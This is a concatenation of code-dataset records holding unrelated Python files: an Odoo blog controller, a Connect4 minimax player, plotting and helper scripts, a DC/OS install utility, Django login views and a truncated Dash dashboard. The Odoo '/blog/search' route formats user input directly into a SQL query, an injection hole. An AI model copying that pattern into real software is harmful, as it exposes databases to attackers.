(\"post_date\", \"<=\", date_end)]\n\n if request.env.user.has_group('website.group_website_designer'):\n count_domain = domain + [(\"website_published\", \"=\", True), (\"post_date\", \"<=\", fields.Datetime.now())]\n published_count = blog_post.search_count(count_domain)\n unpublished_count = blog_post.search_count(domain) - published_count\n\n if state == \"published\":\n domain += [(\"website_published\", \"=\", True), (\"post_date\", \"<=\", fields.Datetime.now())]\n elif state == \"unpublished\":\n domain += ['|', (\"website_published\", \"=\", False), (\"post_date\", \">\", fields.Datetime.now())]\n else:\n domain += [(\"post_date\", \"<=\", fields.Datetime.now())]\n\n blog_url = QueryURL('', ['blog', 'tag'], blog=blog, tag=tag, date_begin=date_begin, date_end=date_end)\n\n search_string = opt.get('search', None)\n\n blog_posts = blog_post.search([('name', 'ilike', search_string)],\n offset=(page - 1) * self._blog_post_per_page,\n limit=self._blog_post_per_page) if search_string \\\n else blog_post.search(domain,\n order=\"post_date desc\")\n\n pager = request.website.pager(\n url=request.httprequest.path.partition('/page/')[0],\n total=len(blog_posts),\n page=page,\n step=self._blog_post_per_page,\n url_args=opt,\n )\n pager_begin = (page - 1) * self._blog_post_per_page\n pager_end = page * self._blog_post_per_page\n blog_posts = blog_posts[pager_begin:pager_end]\n\n all_tags = request.env['blog.tag'].search([])\n use_cover = request.website.viewref('website_blog.opt_blog_cover_post').active\n fullwidth_cover = request.website.viewref('website_blog.opt_blog_cover_post_fullwidth_design').active\n offset = (page - 1) * self._blog_post_per_page\n first_post = blog_posts\n if not blog:\n first_post = blog_posts.search(domain + [('website_published', '=', True)], order=\"post_date desc, id asc\",\n limit=1)\n if use_cover and not fullwidth_cover:\n offset += 1\n\n # function to create the string list of tag ids, and toggle a given one.\n # used in the 'Tags Cloud' template.\n\n def tags_list(tag_ids, current_tag):\n tag_ids = list(tag_ids) # required to avoid using the same list\n if current_tag in tag_ids:\n tag_ids.remove(current_tag)\n else:\n tag_ids.append(current_tag)\n tag_ids = request.env['blog.tag'].browse(tag_ids).exists()\n return ','.join(slug(tags) for tags in tag_ids)\n\n tag_category = sorted(all_tags.mapped('category_id'), key=lambda category: category.name.upper())\n other_tags = sorted(all_tags.filtered(lambda x: not x.category_id), key=lambda tags: tags.name.upper())\n values = {\n 'blog': blog,\n 'blogs': blogs,\n 'first_post': first_post.with_prefetch(blog_posts.ids) if not search_string else None,\n 'other_tags': other_tags,\n 'state_info': {\"state\": state, \"published\": published_count, \"unpublished\": unpublished_count},\n 'active_tag_ids': active_tag_ids,\n 'tags_list': tags_list,\n 'posts': blog_posts,\n 'blog_posts_cover_properties': [json.loads(b.cover_properties) for b in blog_posts],\n 'pager': pager,\n 'nav_list': self.nav_list(blog),\n 'blog_url': blog_url,\n 'date': date_begin,\n 'tag_category': tag_category,\n }\n response = request.render(\"website_blog.blog_post_short\", values)\n return response\n\n @http.route('/blog/search', csrf=False, type=\"http\", methods=['POST', 'GET'], auth=\"public\", website=True)\n def search_contents(self, **kw):\n \"\"\"get search result for auto suggestions\"\"\"\n strings = '%' + kw.get('name') + '%'\n try:\n domain = [('website_published', '=', True)]\n blog = request.env['blog.post'].with_user(SUPERUSER_ID).search(domain)\n sql = \"\"\"select id as res_id, name as name, name as value from blog_post where name ILIKE '{}'\"\"\"\n extra_query = ''\n limit = \" limit 15\"\n qry = sql + extra_query + limit\n request.cr.execute(qry.format(strings, tuple(blog and blog.ids)))\n name = request.cr.dictfetchall()\n except:\n name = {'name': 'None', 'value': 'None'}\n return json.dumps(name)\n","sub_path":"website_search_blog/controllers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"222825012","text":"from connect4 import Connect4\nfrom copy import deepcopy\nfrom new_heuristics import heuristic1\n\n\nclass Minimax:\n maxdepth = 0\n heuristic_function = None\n player_chip = None\n\n def __init__(self, maxdepth, heuristic_function, chip_color):\n self.maxdepth = maxdepth\n self.heuristic_function = heuristic_function\n self.player_chip = chip_color\n self.win_string = self.player_chip + '_WINS'\n self.lose_string = 'B_WINS' if self.player_chip == 'R' else 'R_WINS'\n\n def find_move(self, game):\n return self.minimax(game, self.maxdepth, True)\n\n def minimax(self, game, depth, maximizingPlayer):\n # print('calling minimax')\n\n # if the node is a terminal node (depth is at zero or the state of the game is gameover\n if depth == 0 or game.turn == 'B_WINS' or game.turn == 'R_WINS':\n\n if game.turn == self.win_string:\n return 999999999999, None\n\n elif game.turn == self.lose_string:\n return -999999999999, None\n\n else:\n\n board_score = self.heuristic_function(game, self.player_chip)\n\n return board_score, None\n if maximizingPlayer:\n value = -999999999999\n best_move = 0\n for valid_move in game.available_moves():\n child_game = Connect4(deepcopy(game.board), deepcopy(game.turn), deepcopy(game.last_move), deepcopy(game.total_moves))\n\n last_move = child_game.drop_chip(valid_move)\n value_this_move = self.minimax(child_game, depth - 1, not maximizingPlayer)[0]\n\n if value_this_move > value:\n value = value_this_move\n best_move = valid_move\n\n return value, best_move\n\n else:\n value = 999999999999\n best_move = 0\n for valid_move in game.available_moves():\n # print(valid_move)\n child_game = Connect4(deepcopy(game.board), deepcopy(game.turn), deepcopy(game.last_move), deepcopy(game.total_moves))\n\n last_move = child_game.drop_chip(valid_move)\n value_this_move = self.minimax(child_game, depth - 1, not maximizingPlayer)[0]\n\n if value_this_move < value:\n value = value_this_move\n best_move = valid_move\n return value, best_move\n\n\n\n# if __name__ == '__main__':\n#\n# c1 = Connect4()\n# mm_player = Minimax(3, heuristic1)\n#\n#\n# c1.drop_chip(3)\n# c1.new_print_board()\n#\n# move, score = mm_player.find_move(c1)\n# print(move, score)\n\n\n\n\n\n","sub_path":"minimax_class.py","file_name":"minimax_class.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"277314246","text":"import numpy as np\nimport math as math\nimport matplotlib.pyplot as plt\nimport h5py as h5py\nfrom sphere_diffusion_linear_fixedconc import sdl_analytical\n\n\ndef readh5file(h5file, nx, nr):\n length = 5.0\n radius = 0.028\n cc = []\n tt = []\n t0 = 0.0\n\n f0 = h5py.File(h5file, 'r')\n\n j = 0 \n for i in f0.keys():\n if j == 0:\n cc = f0[i][:, 0]\n j = j + 1\n else:\n cc = np.column_stack((cc, f0[i][:, 0]))\n t = i.split()\n tt.append(t0 + float(t[2]))\n f0.close()\n\n res = {}\n res['t'] = np.asarray(tt)\n res['c'] = np.asarray(cc)\n res['x'] = np.linspace(0, length, nx)\n r1 = np.linspace(radius, 0, nr+1)\n rr = np.zeros(nr)\n for i in range(nr):\n rr[i] = 0.5 * (r1[i] + r1[i+1]) \n res['r'] = rr * 10.0\n\n return res\n\n\nr1 = readh5file('sde_5x10x20.h5', 5, 10)\nr2 = readh5file('sde_5x10x40.h5', 5, 10)\nr3 = readh5file('sde_5x10x100.h5', 5, 10)\ncin = 1.0 #1.9941e-07;\nnr = 100\n\nlx = 0.08\nly = 0.90\n\nit1 = 0\nit2 = 4 \nit3 = 9 \nit4 = 19\nitt = [r1['t'][it1], r1['t'][it2], r1['t'][it3], r1['t'][it4]] \n\nra = np.linspace(0.0028, 0.28, 101)\nc4 = sdl_analytical(ra/10.0, itt, 0.028, 1.0e-6) \n\nax1 = plt.subplot(2, 2, 1)\ni = it1\nnx = 5\nnr = 10\nc1 = np.asarray(r1['c'][:, i].reshape(nr+1, nx))[1:nr+1, 0]\nc2 = np.asarray(r2['c'][:, i].reshape(nr+1, nx))[1:nr+1, 0]\nc3 = np.asarray(r3['c'][:, i].reshape(nr+1, nx))[1:nr+1, 0]\n\nplt.plot(r1['r'], c1/cin, 'bo', r2['r'], c2/cin, 'rx', r3['r'], c3/cin, 'g+', ra, c4[:, 0], 'm-')\nplt.ylabel('c/c$_0$')\nplt.xlim([0, 0.28])\nplt.ylim([0, 1.2])\nplt.text(lx, ly, '(a) t = %d s' % (r1['t'][i]), transform=ax1.transAxes)\nplt.setp(ax1.get_xticklabels(), visible=False)\n\nax2 = plt.subplot(2, 2, 2)\ni = it2\nnr = 10\nc1 = np.asarray(r1['c'][:, i].reshape(nr+1, nx))[1:nr+1, 0]\nc2 = np.asarray(r2['c'][:, i].reshape(nr+1, nx))[1:nr+1, 0]\nc3 = np.asarray(r3['c'][:, i].reshape(nr+1, nx))[1:nr+1, 0]\nplt.plot(r1['r'], c1/cin, 'bo', r2['r'], c2/cin, 'rx', r3['r'], c3/cin, 'g+', ra, c4[:, 1], 'm-')\nplt.xlim([0, 0.28])\nplt.ylim([0, 1.2])\nplt.setp(ax2.get_yticklabels(), visible=False)\nplt.text(lx, ly, '(b) t = %d s' % (r1['t'][i]), transform=ax2.transAxes)\nplt.setp(ax2.get_xticklabels(), visible=False)\n\nax3 = plt.subplot(2, 2, 3)\ni = it3\nnr = 10\nc1 = np.asarray(r1['c'][:, i].reshape(nr+1, nx))[1:nr+1, 0]\nc2 = np.asarray(r2['c'][:, i].reshape(nr+1, nx))[1:nr+1, 0]\nc3 = np.asarray(r3['c'][:, i].reshape(nr+1, nx))[1:nr+1, 0]\nplt.plot(r1['r'], c1/cin, 'bo', r2['r'], c2/cin, 'rx', r3['r'], c3/cin, 'g+', ra, c4[:, 2], 'm-')\nplt.xlim([0, 0.28])\nplt.ylim([0, 1.2])\nplt.text(lx, ly, '(c) t = %d s' % (r1['t'][i]), transform=ax3.transAxes)\nplt.xlabel('r (mm)')\nplt.ylabel('c/c$_0$')\n\nax4 = plt.subplot(2, 2, 4)\ni = it4\nnr = 10\nc1 = np.asarray(r1['c'][:, i].reshape(nr+1, nx))[1:nr+1, 0]\nc2 = np.asarray(r2['c'][:, i].reshape(nr+1, nx))[1:nr+1, 0]\nc3 = np.asarray(r3['c'][:, i].reshape(nr+1, nx))[1:nr+1, 0]\nplt.plot(r1['r'], c1/cin, 'bo', r2['r'], c2/cin, 'rx', r3['r'], c3/cin, 'g+', ra, c4[:, 3], 'm-')\nplt.xlim([0, 0.28])\nplt.ylim([0, 1.2])\nplt.text(lx, ly, '(d) t = %d s' % (r1['t'][i]), transform=ax4.transAxes)\nplt.xlabel('r (mm)')\nplt.setp(ax4.get_yticklabels(), visible=False)\nlgd = plt.legend(('nt = 20', 'nt = 50', 'nt = 100', 'Analytical'),loc=3)\nlgd.draw_frame(False)\n#txt = lgd.get_texts()\n#plt.setp(txt, fontsize='small') \n\nfig = plt.gcf()\nfig.subplots_adjust(left=0.08, right=0.95, wspace=0.05, hspace=0.08)\nfig.set_size_inches(8, 6)\nplt.savefig('prof.pdf')\nplt.show()\n","sub_path":"tests/sde/equaldist-dt/prof.py","file_name":"prof.py","file_ext":"py","file_size_in_byte":3435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"275100159","text":"from variable_finder import find_variables\n\n\nclass DivisionProblem:\n\n def __init__(self, sentence, nlp=None):\n self.sentence = sentence\n self.variables = find_variables(sentence, nlp)\n\n def print_problem(self):\n x = self.variables[0]\n y = self.variables[1]\n z = self.variables[2]\n\n if x.value < y.value:\n smaller_variable = x\n bigger_variable = y\n else:\n smaller_variable = y\n bigger_variable = x\n\n for variable in self.variables:\n print(variable)\n\n print(f'Solution: solve {bigger_variable.symbol} / {smaller_variable.symbol} = {z.symbol}')\n\n","sub_path":"division_problem.py","file_name":"division_problem.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"334629443","text":"# -*- coding: utf-8 -*-\ntry:\n from setuptools import setup\n extra = dict(test_suite=\"tests.test.suite\", include_package_data=True)\nexcept ImportError:\n from distutils.core import setup\n extra = {}\n\n\nwith open('README.rst') as readme:\n long_description = readme.read()\n\nwith open('requirements.txt') as reqs:\n install_requires = [\n line for line in reqs.read().split('\\n') if (line and not\n line.startswith('--'))\n ]\n\nsetup(\n name='python-odl',\n version='0.0.3',\n author='Beraldo Leal',\n author_email='beraldo@ncc.unesp.br',\n packages=[\"odl\", \"of\"],\n url='http://github.com/SPRACE/python-odl/',\n license='LICENSE.md',\n description='Python 2.x library for OpenDayLight interations via REST API.',\n install_requires=install_requires,\n scripts=[],\n keywords = ['odl', 'opendayligh', 'sdn', 'openflow', 'python', 'library', 'rest', 'api'],\n platforms = \"Posix; MacOS X;\",\n classifiers = [\"Development Status :: 2 - Pre-Alpha\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: GNU General Public License v3 (GPLv3)\",\n \"Operating System :: POSIX\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n \"Topic :: Internet\",\n \"Topic :: System :: Networking\",\n \"Programming Language :: Python :: 2.7\"],\n **extra\n)\n","sub_path":"pypi_install_script/python-odl-0.0.3.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"219136152","text":"'''Utilities relating to installing services\n\n************************************************************************\nFOR THE TIME BEING WHATEVER MODIFICATIONS ARE APPLIED TO THIS FILE\nSHOULD ALSO BE APPLIED TO sdk_install IN ANY OTHER PARTNER REPOS\n************************************************************************\n'''\nimport logging\nimport time\n\nimport dcos.cosmos\nimport dcos.errors\nimport dcos.marathon\nimport dcos.packagemanager\nimport dcos.subcommand\nimport retrying\nimport shakedown\n\nimport sdk_cmd\nimport sdk_marathon\nimport sdk_plan\nimport sdk_utils\n\nlog = logging.getLogger(__name__)\n\nTIMEOUT_SECONDS = 15 * 60\n\n'''List of services which are currently installed via install().\nUsed by post-test diagnostics to retrieve stuff from currently running services.'''\n_installed_service_names = set([])\n\n'''List of dead agents which should be ignored when checking for orphaned resources.\nUsed by uninstall when validating that an uninstall completed successfully.'''\n_dead_agent_hosts = set([])\n\n\ndef get_installed_service_names() -> set:\n '''Returns the a set of service names which had been installed via sdk_install in this session.'''\n return _installed_service_names\n\n\n@retrying.retry(stop_max_attempt_number=3,\n retry_on_exception=lambda e: isinstance(e, dcos.errors.DCOSException))\ndef _retried_install_impl(\n package_name,\n service_name,\n expected_running_tasks,\n options={},\n package_version=None,\n timeout_seconds=TIMEOUT_SECONDS):\n '''Cleaned up version of shakedown's package_install().'''\n package_manager = dcos.packagemanager.PackageManager(dcos.cosmos.get_cosmos_url())\n pkg = package_manager.get_package_version(package_name, package_version)\n\n if package_version is None:\n # Get the resolved version for logging below\n package_version = 'auto:{}'.format(pkg.version())\n\n log.info('Installing package={} service={} with options={} version={}'.format(\n package_name, service_name, options, package_version))\n\n # Trigger package install, but only if it's not already installed.\n # We expect upstream to have confirmed that it wasn't already installed beforehand.\n if sdk_marathon.app_exists(service_name):\n log.info('Marathon app={} exists, skipping package install call'.format(service_name))\n else:\n package_manager.install_app(pkg, options)\n\n # Install CLI while package starts to install\n if pkg.cli_definition():\n log.info('Installing CLI for package={}'.format(package_name))\n dcos.subcommand.install(pkg)\n\n # Wait for expected tasks to come up\n if expected_running_tasks > 0:\n shakedown.wait_for_service_tasks_running(\n service_name, expected_running_tasks, timeout_seconds)\n\n # Wait for completed marathon deployment\n app_id = pkg.marathon_json(options).get('id')\n shakedown.deployment_wait(timeout_seconds, app_id)\n\n\ndef install(\n package_name,\n service_name,\n expected_running_tasks,\n additional_options={},\n package_version=None,\n timeout_seconds=TIMEOUT_SECONDS,\n wait_for_deployment=True,\n insert_strict_options=True):\n start = time.time()\n\n # If the package is already installed at this point, fail immediately.\n if sdk_marathon.app_exists(service_name):\n raise Exception('Service is already installed: {}'.format(service_name))\n\n if insert_strict_options and sdk_utils.is_strict_mode():\n # strict mode requires correct principal and secret to perform install.\n # see also: sdk_security.py\n options = sdk_utils.merge_dictionaries({\n 'service': {\n 'service_account': 'service-acct',\n 'principal': 'service-acct',\n 'service_account_secret': 'secret',\n 'secret_name': 'secret'\n }\n }, additional_options)\n else:\n options = additional_options\n\n # 1. Install package, wait for tasks, wait for marathon deployment\n _retried_install_impl(\n package_name,\n service_name,\n expected_running_tasks,\n options,\n package_version,\n timeout_seconds)\n\n # 2. Wait for the scheduler to be idle (as implied by deploy plan completion and suppressed bit)\n # This should be skipped ONLY when it's known that the scheduler will be stuck in an incomplete\n # state, or if the thing being installed doesn't have a deployment plan (e.g. standalone app)\n if wait_for_deployment:\n # this can take a while, default is 15 minutes. for example with HDFS, we can hit the expected\n # total task count via FINISHED tasks, without actually completing deployment\n log.info('Waiting for package={} service={} to finish deployment plan...'.format(\n package_name, service_name))\n sdk_plan.wait_for_completed_deployment(service_name, timeout_seconds)\n\n log.info('Installed package={} service={} after {}'.format(\n package_name, service_name, shakedown.pretty_duration(time.time() - start)))\n\n global _installed_service_names\n _installed_service_names.add(service_name)\n\n\n@retrying.retry(stop_max_attempt_number=5,\n wait_fixed=5000,\n retry_on_exception=lambda e: isinstance(e, Exception))\ndef _retried_run_janitor(service_name):\n auth_token = sdk_cmd.run_cli('config show core.dcos_acs_token', print_output=False).strip()\n\n cmd_list = [\"docker\", \"run\", \"mesosphere/janitor\", \"/janitor.py\",\n \"-r\", sdk_utils.get_role(service_name),\n \"-p\", service_name + '-principal',\n \"-z\", sdk_utils.get_zk_path(service_name),\n \"--auth_token={}\".format(auth_token)]\n\n sdk_cmd.master_ssh(\" \".join(cmd_list))\n\n\n@retrying.retry(stop_max_attempt_number=5,\n wait_fixed=5000,\n retry_on_exception=lambda e: isinstance(e, Exception))\ndef _retried_uninstall_package_and_wait(*args, **kwargs):\n shakedown.uninstall_package_and_wait(*args, **kwargs)\n\n\ndef _verify_completed_uninstall(service_name):\n state_summary = sdk_cmd.cluster_request('GET', '/mesos/state-summary').json()\n\n # There should be no orphaned resources in the state summary (DCOS-30314)\n orphaned_resources = 0\n ignored_orphaned_resources = 0\n service_role = sdk_utils.get_role(service_name)\n for agent in state_summary['slaves']:\n # resources should be grouped by role. check for any resources in our expected role:\n matching_reserved_resources = agent['reserved_resources'].get(service_role)\n if matching_reserved_resources:\n if agent['hostname'] in _dead_agent_hosts:\n # The test told us ahead of time to expect orphaned resources on this host.\n log.info('Ignoring orphaned resources on agent {}/{}: {}'.format(\n agent['id'], agent['hostname'], matching_reserved_resources))\n ignored_orphaned_resources += len(matching_reserved_resources)\n else:\n log.error('Orphaned resources on agent {}/{}: {}'.format(\n agent['id'], agent['hostname'], matching_reserved_resources))\n orphaned_resources += len(matching_reserved_resources)\n if orphaned_resources:\n log.error('{} orphaned resources (plus {} ignored) after uninstall of {}'.format(\n orphaned_resources, ignored_orphaned_resources, service_name))\n log.error(state_summary)\n raise Exception('Found {} orphaned resources (plus {} ignored) after uninstall of {}'.format(\n orphaned_resources, ignored_orphaned_resources, service_name))\n elif ignored_orphaned_resources:\n log.info('Ignoring {} orphaned resources after uninstall of {}'.format(\n ignored_orphaned_resources, service_name))\n log.info(state_summary)\n else:\n log.info('No orphaned resources for role {} were found'.format(service_role))\n\n # There should be no framework entry for this service in the state summary (DCOS-29474)\n orphaned_frameworks = [fwk for fwk in state_summary['frameworks'] if fwk['name'] == service_name]\n if orphaned_frameworks:\n log.error('{} orphaned frameworks named {} after uninstall of {}: {}'.format(\n len(orphaned_frameworks), service_name, service_name, orphaned_frameworks))\n log.error(state_summary)\n raise Exception('Found {} orphaned frameworks named {} after uninstall of {}: {}'.format(\n len(orphaned_frameworks), service_name, service_name, orphaned_frameworks))\n log.info('No orphaned frameworks for service {} were found'.format(service_name))\n\n\ndef ignore_dead_agent(agent_host):\n '''Marks the specified agent as destroyed. When uninstall() is next called, any orphaned\n resources against this agent will be logged but will not result in a thrown exception.\n '''\n _dead_agent_hosts.add(agent_host)\n log.info('Added {} to expected dead agents for resource validation purposes: {}'.format(\n agent_host, _dead_agent_hosts))\n\n\ndef uninstall(package_name, service_name):\n '''Uninstalls the specified service from the cluster, and verifies that its resources and\n framework were correctly cleaned up after the uninstall has completed. Any agents which are\n expected to have orphaned resources (e.g. due to being shut down) should be passed to\n ignore_dead_agent() before triggering the uninstall.\n '''\n start = time.time()\n\n log.info('Uninstalling {}'.format(service_name))\n\n try:\n _retried_uninstall_package_and_wait(package_name, service_name=service_name)\n except Exception:\n log.exception('Got exception when uninstalling {}'.format(service_name))\n raise\n\n cleanup_start = time.time()\n\n try:\n if sdk_utils.dcos_version_less_than('1.10'):\n # 1.9 and earlier: Run janitor to unreserve resources\n log.info('Janitoring {}'.format(service_name))\n _retried_run_janitor(service_name)\n else:\n # 1.10 and later: Wait for uninstall scheduler to finish and be removed by Cosmos\n log.info('Waiting for Marathon app to be removed {}'.format(service_name))\n sdk_marathon.retried_wait_for_deployment_and_app_removal(\n sdk_marathon.get_app_id(service_name), timeout=TIMEOUT_SECONDS)\n except Exception:\n log.exception('Got exception when cleaning up {}'.format(service_name))\n raise\n\n finish = time.time()\n\n log.info(\n 'Uninstalled {} after pkg({}) + cleanup({}) = total({})'.format(\n service_name,\n shakedown.pretty_duration(cleanup_start - start),\n shakedown.pretty_duration(finish - cleanup_start),\n shakedown.pretty_duration(finish - start)))\n\n # Sanity check: Verify that all resources and the framework have been successfully cleaned up,\n # and throw an exception if anything is left over (uninstall bug?)\n _verify_completed_uninstall(service_name)\n\n # Finally, remove the service from the installed list (used by sdk_diag)\n global _installed_service_names\n try:\n _installed_service_names.remove(service_name)\n except KeyError:\n pass # Expected when tests preemptively uninstall at start of test\n","sub_path":"testing/sdk_install.py","file_name":"sdk_install.py","file_ext":"py","file_size_in_byte":11282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"201415950","text":"from django.conf import settings\nfrom django.contrib.auth import (\n REDIRECT_FIELD_NAME, login as auth_login, logout as auth_logout,\n)\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.contrib.auth.models import User\nfrom django.shortcuts import get_object_or_404, redirect, render, resolve_url\nfrom django.utils import translation\nfrom django.utils.http import is_safe_url\nfrom django.views.decorators.csrf import csrf_protect\nfrom django.views.decorators.debug import sensitive_post_parameters\nfrom django.views.i18n import set_language as set_language_view\n\nfrom apps.organization.models import Location, Membership, Organization\nfrom apps.scheduling.models import Availability, BartenderAvailability, Event\n\nfrom .forms import RegisterForm\n\n\ndef _get_login_redirect_url(request, redirect_to):\n # Ensure the user-originating redirection URL is safe.\n if not is_safe_url(url=redirect_to, host=request.get_host()):\n return resolve_url(settings.LOGIN_REDIRECT_URL)\n return redirect_to\n\n\n@sensitive_post_parameters('password')\n@csrf_protect\ndef login(request):\n redirect_to = request.POST.get(REDIRECT_FIELD_NAME, request.GET.get(REDIRECT_FIELD_NAME, ''))\n\n if request.user.is_authenticated():\n redirect_to = _get_login_redirect_url(request, redirect_to)\n if redirect_to == request.path:\n raise ValueError(\n \"Redirection loop for authenticated user detected. Check that \"\n \"your LOGIN_REDIRECT_URL doesn't point to a login page.\"\n )\n return redirect(redirect_to)\n elif request.method == 'POST':\n form = AuthenticationForm(request, data=request.POST)\n if form.is_valid():\n user = form.get_user()\n auth_login(request, user)\n\n # Primaire organisatie instellen\n if hasattr(user, 'profile') and user.profile.current_organization:\n request.session['organization_pk'] = user.profile.current_organization.pk\n\n # Taal instellen\n if hasattr(user, 'profile') and user.profile.current_language:\n translation.activate(user.profile.current_language)\n request.session[translation.LANGUAGE_SESSION_KEY] = user.profile.current_language\n\n if not user.first_name or not user.email:\n # User information is not complete, redirect to register page.\n return redirect(register)\n\n return redirect(_get_login_redirect_url(request, redirect_to))\n else:\n form = AuthenticationForm(request)\n\n redirect_field_name = REDIRECT_FIELD_NAME\n\n return render(request, 'general/login.html', locals())\n\n\ndef logout(request):\n auth_logout(request)\n return redirect(settings.LOGIN_URL)\n\n\n@login_required\ndef register(request):\n if request.method == 'POST':\n form = RegisterForm(request.POST, instance=request.user)\n if form.is_valid():\n form.save()\n return redirect('schedule')\n else:\n form = RegisterForm(instance=request.user)\n\n return render(request, 'general/register.html', locals())\n\n\n@login_required\ndef change_current_organization(request, organization):\n org = get_object_or_404(Organization, slug=organization)\n request.session['organization_pk'] = org.pk\n request.user.profile.current_organization = org\n request.user.profile.save()\n return redirect(request.POST.get(REDIRECT_FIELD_NAME, request.GET.get(REDIRECT_FIELD_NAME, '')))\n\n\ndef change_current_language(request):\n response = set_language_view(request)\n if hasattr(request.user, 'profile'):\n request.user.profile.current_language = request.session[translation.LANGUAGE_SESSION_KEY]\n request.user.profile.save()\n return response\n\n\ndef about(request):\n count = {\n 'organizations': Organization.objects.count(),\n 'users': User.objects.count(),\n 'tenders': Membership.objects.values('user_id').distinct().count(),\n 'locations': Location.objects.count(),\n 'public_locations': Location.objects.filter(is_public=True).count(),\n 'first_event': Event.objects.order_by('starts_at')[0],\n 'events': Event.objects.count(),\n 'bartender_availabilities': BartenderAvailability.objects.count(),\n 'bartender_availabilities_yes': BartenderAvailability.objects.filter(\n availability__nature__in=(Availability.ASSIGNED, Availability.YES),\n ).count(),\n 'bartender_availabilities_assigned': BartenderAvailability.objects.filter(\n availability__nature=Availability.ASSIGNED,\n ).count(),\n }\n return render(request, 'general/about.html', locals())\n\n\ndef help(request):\n return render(request, 'general/help.html')\n","sub_path":"apps/general/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"508886699","text":"# Import required libraries\nimport pandas as pd\nimport dash\nimport dash_html_components as html\nimport dash_core_components as dcc\nfrom dash.dependencies import Input, Output\nimport plotly.express as px\n\n# Read the airline data into pandas dataframe\nspacex_df = pd.read_csv(\"spacex_launch_dash.csv\")\nmax_payload = spacex_df['Payload Mass (kg)'].max()\nmin_payload = spacex_df['Payload Mass (kg)'].min()\n\n# Create a dash application\napp = dash.Dash(__name__)\n\n# Create an app layout\napp.layout = html.Div(children=[html.H1('SpaceX Launch Records Dashboard',\n\t\t\t\t\t\t\t\t\t\tstyle={'textAlign': 'center', 'color': '#503D36',\n\t\t\t\t\t\t\t\t\t\t\t 'font-size': 40}),\n\t\t\t\t\t\t\t\t# TASK 1: Add a dropdown list to enable Launch Site selection\n\t\t\t\t\t\t\t\t# The default select value is for ALL sites\n\t\t\t\t\t\t\t\tdcc.Dropdown(\n\t\t\t\t\t\t\t\t\tid='site-dropdown',\n\t\t\t\t\t\t\t\t\toptions=[\n\t\t\t\t\t\t\t\t\t\t{'label':'ALL', 'value':'ALL'},\n\t\t\t\t\t\t\t\t\t\t{'label':'CCAFS LC-40', 'value':'CCAFS LC-40'},\n\t\t\t\t\t\t\t\t\t\t{'label':'CCAFS SLC-40', 'value':'CCAFS SLC-40'},\n\t\t\t\t\t\t\t\t\t\t{'label':'KSC LC-39A', 'value':'KSC LC-39A'},\n\t\t\t\t\t\t\t\t\t\t{'label':'VAFB SLC-4E', 'value':'VAFB SLC-4E'}\n\t\t\t\t\t\t\t\t\t],\n\t\t\t\t\t\t\t\t\tvalue='ALL',\n\t\t\t\t\t\t\t\t\tplaceholder='Select a Launch Site here',\n\t\t\t\t\t\t\t\t\tsearchable=True\n\t\t\t\t\t\t\t\t),\n\n\t\t\t\t\t\t\t\t# TASK 2: Add a pie chart to show the total successful launches count for all sites\n\t\t\t\t\t\t\t\t# If a specific launch site was selected, show the Success vs. Failed counts for the site\n\t\t\t\t\t\t\t\thtml.Div(dcc.Graph(id='success-pie-chart')),\n\t\t\t\t\t\t\t\thtml.Br(),\n\n\t\t\t\t\t\t\t\thtml.P(\"Payload range (Kg):\"),\n\t\t\t\t\t\t\t\t# TASK 3: Add a slider to select payload range\n\t\t\t\t\t\t\t\tdcc.RangeSlider(\n\t\t\t\t\t\t\t\t\tid='payload-slider',\n\t\t\t\t\t\t\t\t\tmin=0,\n\t\t\t\t\t\t\t\t\tmax=10000,\n\t\t\t\t\t\t\t\t\tstep=1000,\n\t\t\t\t\t\t\t\t\tmarks={\n\t\t\t\t\t\t\t\t\t\t0:'0',\n\t\t\t\t\t\t\t\t\t\t2500:'2500',\n\t\t\t\t\t\t\t\t\t\t5000:'5000',\n\t\t\t\t\t\t\t\t\t\t7500:'7500',\n\t\t\t\t\t\t\t\t\t\t10000:'10,000'\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\tvalue=[min_payload, max_payload]\n\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\thtml.Br(),\n\n\t\t\t\t\t\t\t\t# TASK 4: Add a scatter chart to show the correlation between payload and launch success\n\t\t\t\t\t\t\t\thtml.Div(dcc.Graph(id='success-payload-scatter-chart')),\n\t\t\t\t\t\t\t\t])\n\n# TASK 2:\n# Add a callback function for `site-dropdown` as input, `success-pie-chart` as output\n\n@app.callback( Output(component_id='success-pie-chart', component_property='figure'),\n\t\t\t Input(component_id='site-dropdown', component_property='value'))\n\ndef build_pie(site):\n\n\tdf_success = spacex_df[(spacex_df['class']==1)]\n\tdf_x = pd.DataFrame(df_success.groupby(['Launch Site'])['class'].value_counts())\n\tdf = spacex_df.copy()\n\n\tif site == 'ALL':\n\n\t\t#Success Counts for ALL Sites\n\t\tfig = px.pie(df_x,values=\"class\", names=\"class\", title='Success Counts for ALL Sites')\n\t\treturn fig\n\n\telse:\n\t\tddf = df[df['Launch Site']==site]\n\t\tddfg = pd.DataFrame(ddf.groupby(['Launch Site','class'])['class'].value_counts())\n\t\tfig = px.pie(ddfg, values='class', names='class', title='Succes count of '+site)\n\n\t\treturn fig\n\n# TASK 4:\n# Add a callback function for `site-dropdown` and `payload-slider` as inputs, `success-payload-scatter-chart` as output\n\n@app.callback(Output(component_id='success-payload-scatter-chart', component_property='figure'),\n\t\t\t [Input(component_id='site-dropdown', component_property='value'),\n\t\t\t\tInput(component_id='payload-slider', 